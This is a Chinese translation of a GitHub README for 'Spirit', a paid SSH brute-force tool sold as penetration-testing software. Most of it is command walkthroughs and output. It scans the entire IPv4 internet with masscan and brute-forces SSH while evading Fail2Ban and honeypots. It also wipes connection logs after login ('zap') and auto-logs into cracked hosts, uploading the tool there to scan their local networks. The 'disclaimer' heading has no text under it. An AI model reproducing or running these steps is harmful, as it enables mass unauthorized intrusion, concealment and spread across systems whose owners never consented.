theaog/spirit

GitHub: theaog/spirit

一款面向网络渗透测试的自适应暴力破解工具,帮助安全人员高效发现并利用 SSH 弱凭证。

Stars: 78 | Forks: 13

# Spirit - 网络渗透测试工具 ### [下载最新的 Spirit 发行版](https://github.com/theaog/spirit/tree/master/bin) ``` $ wget https://github.com/theaog/spirit/raw/refs/heads/master/bin/spirit.tgz $ curl -OL https://github.com/theaog/spirit/raw/refs/heads/master/bin/spirit.tgz $ tar xvf spirit.tgz $ ./spirit autobrute --ports 22 ``` ## 使用区域进行自动暴力破解 ``` # 创建包含 CIDR 表示法 IP 地址的 zone.lst 文件 $ cat >zone.lst<< EOF 192.168.0.0/16 172.16.0.0/12 10.0.0.0/8 EOF # autobrute 将生成无冲突(非重复)随机端口 # 反复扫描并暴力破解——永无止境! ./spirit autobrute ``` ## 本地网络演示 [![asciicast](https://asciinema.org/a/645079.svg)](https://asciinema.org/a/645079?autoplay=true&loop=true) ## 自动升级 Spirit ``` ./spirit upgrade Upgrading 87% [========================> ] (5.9/5.9 MB, 49.652 MB/s) ``` ## Spirit Brute|Banner 与其他工具对比 ### Spirit Banner - 隐蔽性强,发送最少的 TCP 数据包以获取 SSH 版本,并在不进行登录的情况下断开连接 - 恰当的连接处理与超时机制,不会留下死连接浪费文件描述符 - 快速、非常快速且准确 ### Spirit Brute - 自定义 SSH 库,支持与更多 SSH 版本、密码、算法和 MAC 进行交互 - 自动从暴力破解循环中移除不可达的主机,减少繁琐工作以提升效率 - 根据剩余主机自动调整线程数量 - 优先尝试使用密钥文件而非仅使用密码进行连接 - 检测蜜罐并停止向其发送密码 - 每个 IP 仅尝试一个密码,而非向同一主机发送所有密码以触发 Fail2Ban 或其他防护机制 - 随机化 IP 地址以避免从同一源向网络发送过多数据包 - 连接同一主机文件中的多个端口 - Autossh 可同时连接到所有易受攻击的主机 - 允许将易受攻击的主机提交至您的 Telegram 频道 - 加密密码文件,以便在不安全的系统上安全使用 - 从未来扫描中排除已发现漏洞的主机、禁止登录的主机和蜜罐:缩小搜索范围 - 生成统计信息和错误日志 ## SSH 暴力破解流程示例(TLDR;) ``` # 首先扫描您的网络或互联网(查看免责声明)以获取开放端口列表。 $ masscan \ --rate="50000" \ --ports "22,222,2222,2212" 0.0.0.0/0 \ --exclude 255.255.255.255 \ -oG open.lst Scanning 4294967295 hosts [4 ports/host] # masscan 将在 oG(可输出为 Greppable)格式中创建 open.lst 文件。 # 解析此 open.lst 以格式化数据,使 spirit 能够理解。 $ ./spirit parse INFO created h.lst in HOST:PORT format # 可选:如果希望跳过某些 SSH 版本,请创建 filter.lst 文件。 # 您可以在本仓库的 `filter.lst` 文件中找到通用过滤器。 $ cat >filter.lst<< EOF SSH-1.0 SSH-2.0-CISCO SSH-2.0-Comware EOF # 抓取 SSH 横幅以确保目标版本在主机上运行。注意:会备份 h.lst 到 h.lst.bak $ ./spirit banner INFO backing up h.lst to h.lst.bak SSH-2.0-OpenSSH_8.2p 13% [=> ] [11s:1m15s] INFO created h.lst in HOST:PORT:BANNER format head -n1 h.lst 100.100.100.100:2222:SSH-2.0-OpenSSH_6.6.1 # 添加密码列表,spirit 将自动从 p.lst 文件加载用户:密码。 # 注意:如果 p.lst 不存在,spirit 将使用内置密码文件 $ cat > p.lst << EOF user1:pass1 user1:pass2 user2:pass50 EOF # 开始暴力破解... $ ./spirit brute Spirit NPT (v1.30) upgrade by 24 Mar 24 00:00 UTC HINT: Use `./spirit zap` to clean connection logs after you login via SSH rlimit soft [1048576] hard [1048576] INFO loaded b.lst with 26803 hosts INFO loaded p.lst with 4881 logins INFO randomized hosts INFO block [true] INFO timeout [5s] INFO threads [1024] [2478/4653]root:!1qwerty [77]found [33]blocked [1284]threads 20% [====> ] [20s:1h13m36s] Results |- found.ssh # Prepared SSH command |- found.login # Successful USER:PASS combinations |- found.lst # Syntax for autossh tool |- found.errors # SSH connection error statistics Hosts[26803] Bruted[4000] Blocked[19803] Found[3000] # 如果您希望加快速度,请尝试屏蔽不良主机 ./spirit brute --block=true # 自动连接所有找到的主机并运行命令。 $ ./spirit autossh --command 'whoami && uptime' # 上传 spirit 并扫描局域网 $ ./spirit autossh --upload ./spirit --command '/tmp/spirit scan --lan' ``` ## Spirit 是 Freemium 扫描端口 22 无限期免费一小时,其他端口需要许可证,起价为每天每服务器 1 美元。 ## 您可以通过在 CLI 中获取许可证来直接解锁 Spirit 的全部功能。 ``` $ ./spirit buy Payment-flow Support @ https://t.me/spiritNPT Pricing model: $1 / Server / Day ┃ How many servers?> 1 ┃ How many days?> 10 ┃ Would you like 10% off using a referral code? ┃ ┃ Yes No ``` # 免责声明
标签:Banner抓取, CIDR网段, DOS头擦除, Fail2Ban绕过, Honeypot检测, IP随机化, Spirit框架, SSH暴力破解, Telegram通知, 代码生成, 内存分配, 多线程扫描, 密码破解, 密钥认证, 数据统计, 日志审计, 渗透测试工具, 端口扫描, 端口碰撞避免, 网络安全, 网络渗透测试, 自动化渗透, 自动升级, 逆向工具, 隐私保护